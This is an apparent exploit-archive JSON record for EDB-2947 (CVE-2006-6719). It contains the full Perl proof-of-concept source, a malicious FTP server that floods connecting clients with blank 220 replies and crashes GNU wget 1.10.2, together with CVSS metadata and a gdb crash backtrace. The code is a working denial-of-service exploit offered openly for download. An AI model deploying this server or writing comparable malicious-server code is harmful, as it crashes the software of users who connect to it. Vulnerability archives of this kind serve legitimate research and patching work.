{"exploit":{"id":"EDB-2947","name":"GNU wget 1.10.2 - Unchecked Boundary Condition Denial of Service (DoS)","description":"GNU wget 1.10.2 - Unchecked Boundary Condition Denial of Service (DoS)","cves":["CVE-2006-6719"],"author":"Federico L. Bossi Bonin","published":"2006-12-18","platform":"multiple","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2947","path":"exploits/multiple/dos/2947.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2947.pl","vulnerabilities":[{"id":"CVE-2006-6719","state":"PUBLISHED","title":null,"titleSource":null,"description":"The ftp_syst function in ftp-basic.c in Free Software Foundation (FSF) GNU wget 1.10.2 allows remote attackers to cause a denial of service (application crash) via a malicious FTP server with a large number of blank 220 responses to the SYST command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6719","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6719"},"updatedAt":"2024-08-07T20:33:59.979Z","retrievedAt":"2026-11-26T19:07:51.426Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2947.png?v=2","url":"https://exploitbin.com/exploits/EDB-2947","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2947/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2947/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n################################################################################\n# wget <= 1.10.2 | Unchecked Boundary Condition\n# Federico L. Bossi Bonin\n#\n# www.globalst.com.ar\n# fbossi[at]globalst.com.ar\n################################################################################\n\nuse strict;\nuse IO::Socket;\n\n\n#Resolving localhost... 127.0.0.1\n#Connecting to localhost|127.0.0.1|:21... connected.\n#Logging in as anonymous ... Logged in!\n#==> SYST ...\n#Program received signal SIGSEGV, Segmentation fault.\n#[Switching to Thread -1211496768 (LWP 22824)]\n#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6\n#(gdb) backtrace\n#0  0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6\n#1  0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042\n#2  0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367\n#3  0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197\n#4  0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341\n#5  0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705\n#6  0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875\n#7  0x08066cf8 in retrieve_url (origurl=0x8080070 \"ftp://localhost\", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678\n#8  0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943\n#(gdb)\n\nmy $PORT=21;\n$SIG{CHLD} = 'IGNORE';\n\n\nmy $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1);\ndie \"Cant't bind port: $@\" unless $listen;\n\nprint \"wget PoC\\nWainting conections\\n\";\n\nwhile (my $connection = $listen->accept){\nmy $child;\n\n   while (my $connection = $listen->accept){\n   my $child;\n\t  die \"Can't fork: $!\" unless defined ($child = fork());\n   \t\tif ($child == 0){\n   \t\t\t\t$listen->close;\n\t\t\t\twhile() {\n  \t\t\t\tprint $connection \"220 \\n\";\n\t\t\t\t}\n\t\t\t\texit 0;\n   \t\t}\n   \t\telse {\n\t\t\t\tprint \"Connecton recieved ... \",$connection->peerhost,\"\\n\";\n\t\t\t        $connection->close();\n\t\t   }\n       } #while\n\n} #while\n\n# milw0rm.com [2006-12-18]","sha256":"6b37c84cccb3e7367e15c0469e44df831f017bce04a712b8bac4caeda3f867fa","bytes":2124,"fetchedAt":"2026-11-26T19:07:51.100Z","encoding":"utf-8 (display only; download retains original bytes)"}